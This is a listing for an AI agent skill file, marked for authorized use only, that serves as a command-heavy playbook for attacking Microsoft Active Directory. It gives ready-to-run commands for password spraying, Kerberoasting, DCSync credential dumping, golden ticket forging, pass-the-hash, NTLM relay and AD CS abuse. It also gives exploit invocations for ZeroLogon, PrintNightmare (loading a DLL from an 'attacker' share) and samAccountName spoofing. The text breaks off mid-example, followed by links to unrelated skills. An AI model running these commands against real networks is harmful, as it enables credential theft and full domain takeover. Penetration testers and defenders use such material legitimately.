active-directory-attacks
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
What this skill does
> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. <!-- security-allowlist: credential-extraction, kerberos-attacks --> # Active Directory Attacks ## Purpose Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing. ## Inputs/Prerequisites - Kali Linux or Windows attack platform - Domain user credentials (for most attacks) - Network access to Domain Controller - Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec ## Outputs/Deliverables - Domain enumeration data - Extracted credentials and hashes - Kerberos tickets for impersonation - Domain Administrator access - Persistent access mechanisms --- ## Essential Tools | Tool | Purpose | |------|---------| | BloodHound | AD attack path visualization | | Impacket | Python AD attack tools | | Mimikatz | Credential extraction | | Rubeus | Kerberos attacks | | CrackMapExec | Network exploitation | | PowerView | AD enumeration | | Responder | LLMNR/NBT-NS poisoning | --- ## Core Workflow ### Step 1: Kerberos Clock Sync Kerberos requires clock synchronization (±5 minutes): ```bash # Detect clock skew nmap -sT 10.10.10.10 -p445 --script smb2-time # Fix clock on Linux sudo date -s "14 APR 2024 18:25:16" # Fix clock on Windows net time /domain /set # Fake clock without changing system time faketime -f '+8h' <command> ``` ### Step 2: AD Reconnaissance with BloodHound ```bash # Start BloodHound neo4j console bloodhound --no-sandbox # Collect data with SharpHound .\SharpHound.exe -c All .\SharpHound.exe -c All --ldapusername user --ldappassword pass # Python collector (from Linux) bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all ``` ### Step 3: PowerView Enumeration ```powershell # Get domain info Get-NetDomain Get-DomainSID Get-NetDomainController # Enumerate users Get-NetUser Get-NetUser -SamAccountName targetuser Get-UserProperty -Properties pwdlastset # Enumerate groups Get-NetGroupMember -GroupName "Domain Admins" Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member # Find local admin access Find-LocalAdminAccess -Verbose # User hunting Invoke-UserHunter Invoke-UserHunter -Stealth ``` --- ## Credential Attacks ### Password Spraying ```bash # Using kerbrute ./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123 # Using CrackMapExec crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success ``` ### Kerberoasting Extract service account TGS tickets and crack offline: ```bash # Impacket GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt # Rubeus .\Rubeus.exe kerberoast /outfile:hashes.txt # CrackMapExec crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt # Crack with hashcat hashcat -m 13100 hashes.txt rockyou.txt ``` ### AS-REP Roasting Target accounts with "Do not require Kerberos preauthentication": ```bash # Impacket GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat # Rubeus .\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt # Crack with hashcat hashcat -m 18200 hashes.txt rockyou.txt ``` ### DCSync Attack Extract credentials directly from DC (requires Replicating Directory Changes rights): ```bash # Impacket secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt # Mimikatz lsadump::dcsync /domain:domain.local /user:krbtgt lsadump::dcsync /domain:domain.local /user:Administrator ``` --- ## Kerberos Ticket Attacks ### Pass-the-Ticket (Golden Ticket) Forge TGT with krbtgt hash for any user: ```powershell # Get krbtgt hash via DCSync first # Mimikatz - Create Golden Ticket kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt # Impacket ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator export KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass domain.local/[email protected] ``` ### Silver Ticket Forge TGS for specific service: ```powershell # Mimikatz kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt ``` ### Pass-the-Hash ```bash # Impacket psexec.py domain.local/[email protected] -hashes :NTHASH wmiexec.py domain.local/[email protected] -hashes :NTHASH smbexec.py domain.local/[email protected] -hashes :NTHASH # CrackMapExec crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth ``` ### OverPass-the-Hash Convert NTLM hash to Kerberos ticket: ```bash # Impacket getTGT.py domain.local/user -hashes :NTHASH export KRB5CCNAME=user.ccache # Rubeus .\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt ``` --- ## NTLM Relay Attacks ### Responder + ntlmrelayx ```bash # Start Responder (disable SMB/HTTP for relay) responder -I eth0 -wrf # Start relay ntlmrelayx.py -tf targets.txt -smb2support # LDAP relay for delegation attack ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access ``` ### SMB Signing Check ```bash crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt ``` --- ## Certificate Services Attacks (AD CS) ### ESC1 - Misconfigured Templates ```bash # Find vulnerable templates certipy find -u [email protected] -p password -dc-ip 10.10.10.10 # Exploit ESC1 certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected] # Authenticate with certificate certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 ``` ### ESC8 - Web Enrollment Relay ```bash ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController ``` --- ## Critical CVEs ### ZeroLogon (CVE-2020-1472) ```bash # Check vulnerability crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon # Exploit python3 cve-2020-1472-exploit.py DC01 10.10.10.10 # Extract hashes secretsdump.py -just-dc domain.local/DC01\[email protected] -no-pass # Restore password (important!) python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD ``` ### PrintNightmare (CVE-2021-1675) ```bash # Check for vulnerability rpcdump.py @10.10.10.10 | grep 'MS-RPRN' # Exploit (requires hosting malicious DLL) python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll' ``` ### samAccountName Spoofing (CVE-2021-42278/42287) ```bash # Automated exploitation python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell ``` --- ## Quick Reference | Attack | Tool | Command | |--------|------|---------| | Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` | | AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` | | DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` | | Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` | | Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` | | Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` | --- ## Constraints **Must:** - Synchronize time with DC before Kerberos attacks - Have valid domain credentials for most attacks - Document all compromised accounts **Must Not:** - Lock out accounts with excessive password spraying - Modify production AD objects without approval - Leave Golden Tickets without documentation **Should:** - Run BloodHound for attack path discovery - Check for SMB signing before relay attacks - Verify patch levels for CVE exploitation --- ## Examples ### Example 1: Domain Compromise via Kerberoasting ```b
Related in Security
mac-ops
IncludedComprehensive macOS workstation operations — diagnose kernel panics, identify failing drives, audit launchd startup items, decode wake reasons, triage TCC permission denials, manage APFS snapshots, recover from no-boot. Use for: Mac is slow, slow bootup, won't boot, kernel panic, kernel_task hot, mds_stores CPU, photoanalysisd, cloudd, login loop, gray screen, sleep wake failure, drive failing, IO errors, APFS snapshots eating space, Time Machine local snapshots, Spotlight indexing, launchd, LaunchAgent, LaunchDaemon, login items, TCC permissions, Full Disk Access, Screen Recording denied, Gatekeeper, quarantine, com.apple.quarantine, app is damaged, helper tool, /Library/PrivilegedHelperTools, pmset, wake reasons, dark wake, sysdiagnose, panic.ips, DiagnosticReports, configuration profile, MDM profile, remote diagnostics over SSH.
a11y-audit
IncludedRun accessibility audits on web projects combining automated scanning (axe-core, Lighthouse) with WCAG 2.1 AA compliance mapping, manual check guidance, and structured reporting. Output is configurable: markdown report only, markdown plus machine-readable JSON, or markdown plus issue tracker integration. Use this skill whenever the user mentions "accessibility audit", "a11y audit", "WCAG audit", "accessibility check", "compliance scan", or asks to check a web project for accessibility issues. Also trigger when the user wants to verify WCAG conformance or map findings to a specific standard (CAN-ASC-6.2, EN 301 549, ADA/AODA).
erpclaw
IncludedAI-native ERP system with self-extending OS. Full accounting, invoicing, inventory, purchasing, tax, billing, HR, payroll, advanced accounting (ASC 606/842, intercompany, consolidation), and financial reporting. 413 actions across 14 domains, 43 expansion modules. Constitutional guardrails, adversarial audit, schema migration. Double-entry GL, immutable audit trail, US GAAP.
assess
IncludedAssesses and rates quality 0-10 across multiple dimensions (correctness, maintainability, security, performance, testability, simplicity) with pros/cons analysis. Compares against project conventions and prior decisions from memory. Produces structured evaluation reports with actionable improvement suggestions. Use when evaluating code, designs, architectures, or comparing alternative approaches.
spring-boot-security-jwt
IncludedProvides JWT authentication and authorization patterns for Spring Boot 3.5.x covering token generation with JJWT, Bearer/cookie authentication, database/OAuth2 integration, and RBAC/permission-based access control using Spring Security 6.x. Use when implementing authentication or authorization in Spring Boot applications.
code-hardcode-audit
IncludedDetect hardcoded values, magic numbers, and leaked secrets. TRIGGERS - hardcode audit, magic numbers, PLR2004, secret scanning.